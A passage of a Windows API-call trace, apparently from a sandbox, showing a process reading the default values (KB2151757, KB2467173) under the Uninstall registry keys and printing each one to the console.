lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.080] GetProcessHeap () returned 0x3c0000 [0151.080] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.080] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.080] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0151.080] GetProcessHeap () returned 0x3c0000 [0151.080] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0151.080] GetProcessHeap () returned 0x3c0000 [0151.080] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.080] GetProcessHeap () returned 0x3c0000 [0151.080] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.080] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2151757", pcbData=0x29f780*=0x14) returned 0x0 [0151.080] __iob_func () returned 0x7fefd702a80 [0151.081] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.081] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.081] _fileno (_File=0x7fefd702ab0) returned 1 [0151.081] _errno () returned 0x204bb0 [0151.081] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.081] _errno () returned 0x204bb0 [0151.081] GetFileType (hFile=0x50) returned 0x1 [0151.081] lstrlenW (lpString=" ") returned 4 [0151.081] GetConsoleOutputCP () returned 0x1b5 [0151.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.081] GetConsoleOutputCP () returned 0x1b5 [0151.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.081] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.081] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.081] lstrlenW (lpString="") returned 0 [0151.081] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.081] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0151.081] lstrlenW (lpString="(Default)") returned 9 [0151.081] __iob_func () returned 0x7fefd702a80 [0151.081] _fileno (_File=0x7fefd702ab0) returned 1 [0151.081] _errno () returned 0x204bb0 [0151.081] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.081] _errno () returned 0x204bb0 [0151.081] GetFileType (hFile=0x50) returned 0x1 [0151.081] lstrlenW (lpString="(Default)") returned 9 [0151.081] GetConsoleOutputCP () returned 0x1b5 [0151.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.082] GetConsoleOutputCP () returned 0x1b5 [0151.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0151.082] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.082] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.082] __iob_func () returned 0x7fefd702a80 [0151.082] _fileno (_File=0x7fefd702ab0) returned 1 [0151.082] _errno () returned 0x204bb0 [0151.082] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.082] _errno () returned 0x204bb0 [0151.082] GetFileType (hFile=0x50) returned 0x1 [0151.082] lstrlenW (lpString=" ") returned 4 [0151.082] GetConsoleOutputCP () returned 0x1b5 [0151.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.082] GetConsoleOutputCP () returned 0x1b5 [0151.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.082] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.082] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.082] __iob_func () returned 0x7fefd702a80 [0151.082] _fileno (_File=0x7fefd702ab0) returned 1 [0151.082] _errno () returned 0x204bb0 [0151.083] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.083] _errno () returned 0x204bb0 [0151.083] GetFileType (hFile=0x50) returned 0x1 [0151.083] lstrlenW (lpString="REG_SZ") returned 6 [0151.083] GetConsoleOutputCP () returned 0x1b5 [0151.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.083] GetConsoleOutputCP () returned 0x1b5 [0151.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.083] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.083] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.083] __iob_func () returned 0x7fefd702a80 [0151.083] _fileno (_File=0x7fefd702ab0) returned 1 [0151.083] _errno () returned 0x204bb0 [0151.083] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.083] _errno () returned 0x204bb0 [0151.083] GetFileType (hFile=0x50) returned 0x1 [0151.083] lstrlenW (lpString=" ") returned 4 [0151.083] GetConsoleOutputCP () returned 0x1b5 [0151.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.083] GetConsoleOutputCP () returned 0x1b5 [0151.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.084] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.084] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.084] __iob_func () returned 0x7fefd702a80 [0151.084] _fileno (_File=0x7fefd702ab0) returned 1 [0151.084] _errno () returned 0x204bb0 [0151.084] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.084] _errno () returned 0x204bb0 [0151.084] GetFileType (hFile=0x50) returned 0x1 [0151.084] lstrlenW (lpString="KB2151757") returned 9 [0151.084] GetConsoleOutputCP () returned 0x1b5 [0151.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2151757", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.084] GetConsoleOutputCP () returned 0x1b5 [0151.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2151757", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2151757", lpUsedDefaultChar=0x0) returned 9 [0151.084] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.084] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.084] __iob_func () returned 0x7fefd702a80 [0151.084] _fileno (_File=0x7fefd702ab0) returned 1 [0151.084] _errno () returned 0x204bb0 [0151.084] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.084] _errno () returned 0x204bb0 [0151.084] GetFileType (hFile=0x50) returned 0x1 [0151.084] lstrlenW (lpString="\n") returned 1 [0151.085] GetConsoleOutputCP () returned 0x1b5 [0151.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.085] GetConsoleOutputCP () returned 0x1b5 [0151.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.085] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.085] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.085] GetProcessHeap () returned 0x3c0000 [0151.085] GetProcessHeap () returned 0x3c0000 [0151.085] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.085] GetProcessHeap () returned 0x3c0000 [0151.085] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.085] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0151.085] __iob_func () returned 0x7fefd702a80 [0151.085] _fileno (_File=0x7fefd702ab0) returned 1 [0151.085] _errno () returned 0x204bb0 [0151.085] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.085] _errno () returned 0x204bb0 [0151.085] GetFileType (hFile=0x50) returned 0x1 [0151.085] lstrlenW (lpString="\n") returned 1 [0151.085] GetConsoleOutputCP () returned 0x1b5 [0151.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.085] GetConsoleOutputCP () returned 0x1b5 [0151.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.086] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.086] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.086] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.086] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.086] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned 131 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.086] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.086] GetProcessHeap () returned 0x3c0000 [0151.086] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0151.086] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.086] RegCloseKey (hKey=0x5c) returned 0x0 [0151.086] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x27, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.086] __iob_func () returned 0x7fefd702a80 [0151.086] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.086] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173\n") returned 132 [0151.087] _fileno (_File=0x7fefd702ab0) returned 1 [0151.087] _errno () returned 0x204bb0 [0151.087] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.087] _errno () returned 0x204bb0 [0151.087] GetFileType (hFile=0x50) returned 0x1 [0151.087] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173\n") returned 132 [0151.087] GetConsoleOutputCP () returned 0x1b5 [0151.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0151.087] GetConsoleOutputCP () returned 0x1b5 [0151.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173\n", lpUsedDefaultChar=0x0) returned 132 [0151.087] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0151.087] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.087] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0151.087] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.087] GetProcessHeap () returned 0x3c0000 [0151.087] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.087] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.087] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0151.087] GetProcessHeap () returned 0x3c0000 [0151.087] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0151.087] GetProcessHeap () returned 0x3c0000 [0151.087] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.087] GetProcessHeap () returned 0x3c0000 [0151.087] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.087] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2467173", pcbData=0x29f780*=0x14) returned 0x0 [0151.088] __iob_func () returned 0x7fefd702a80 [0151.088] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.088] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.088] _fileno (_File=0x7fefd702ab0) returned 1 [0151.088] _errno () returned 0x204bb0 [0151.088] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.088] _errno () returned 0x204bb0 [0151.088] GetFileType (hFile=0x50) returned 0x1 [0151.088] lstrlenW (lpString=" ") returned 4 [0151.088] GetConsoleOutputCP () returned 0x1b5 [0151.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.088] GetConsoleOutputCP () returned 0x1b5 [0151.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.088] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.088] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.088] lstrlenW (lpString="") returned 0 [0151.088] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.088] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0151.088] lstrlenW (lpString="(Default)") returned 9 [0151.088] __iob_func () returned 0x7fefd702a80 [0151.088] _fileno (_File=0x7fefd702ab0) returned 1 [0151.088] _errno () returned 0x204bb0 [0151.088] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.088] _errno () returned 0x204bb0 [0151.088] GetFileType (hFile=0x50) returned 0x1 [0151.088] lstrlenW (lpString="(Default)") returned 9 [0151.089] GetConsoleOutputCP () returned 0x1b5 [0151.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.089] GetConsoleOutputCP () returned 0x1b5 [0151.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0151.089] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.089] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.089] __iob_func () returned 0x7fefd702a80 [0151.089] _fileno (_File=0x7fefd702ab0) returned 1 [0151.089] _errno () returned 0x204bb0 [0151.089] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.089] _errno () returned 0x204bb0 [0151.089] GetFileType (hFile=0x50) returned 0x1 [0151.089] lstrlenW (lpString=" ") returned 4 [0151.089] GetConsoleOutputCP () returned 0x1b5 [0151.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.089] GetConsoleOutputCP () returned 0x1b5 [0151.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.089] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.089] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.090] __iob_func () returned 0x7fefd702a80 [0151.090] _fileno (_File=0x7fefd702ab0) returned 1 [0151.090] _errno () returned 0x204bb0 [0151.090] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.090] _errno () returned 0x204bb0 [0151.090] GetFileType (hFile=0x50) returned 0x1 [0151.090] lstrlenW (lpString="REG_SZ") returned 6 [0151.090] GetConsoleOutputCP () returned 0x1b5 [0151.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.090] GetConsoleOutputCP () returned 0x1b5 [0151.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.090] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.090] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.090] __iob_func () returned 0x7fefd702a80 [0151.090] _fileno (_File=0x7fefd702ab0) returned 1 [0151.090] _errno () returned 0x204bb0 [0151.090] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.090] _errno () returned 0x204bb0 [0151.090] GetFileType (hFile=0x50) returned 0x1 [0151.090] lstrlenW (lpString=" ") returned 4 [0151.090] GetConsoleOutputCP () returned 0x1b5 [0151.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.090] GetConsoleOutputCP () returned 0x1b5 [0151.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.091] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.091] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.091] __iob_func () returned 0x7fefd702a80 [0151.091] _fileno (_File=0x7fefd702ab0) returned 1 [0151.091] _errno () returned 0x204bb0 [0151.091] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.091] _errno () returned 0x204bb0 [0151.091] GetFileType (hFile=0x50) returned 0x1 [0151.091] lstrlenW (lpString="KB2467173") returned 9 [0151.091] GetConsoleOutputCP () returned 0x1b5 [0151.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2467173", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.091] GetConsoleOutputCP () returned 0x1b5 [0151.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2467173", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2467173", lpUsedDefaultChar=0x0) returned 9 [0151.091] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.091] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.091] __iob_func () returned 0x7fefd702a80 [0151.091] _fileno (_File=0x7fefd702ab0) returned 1 [0151.091] _errno () returned 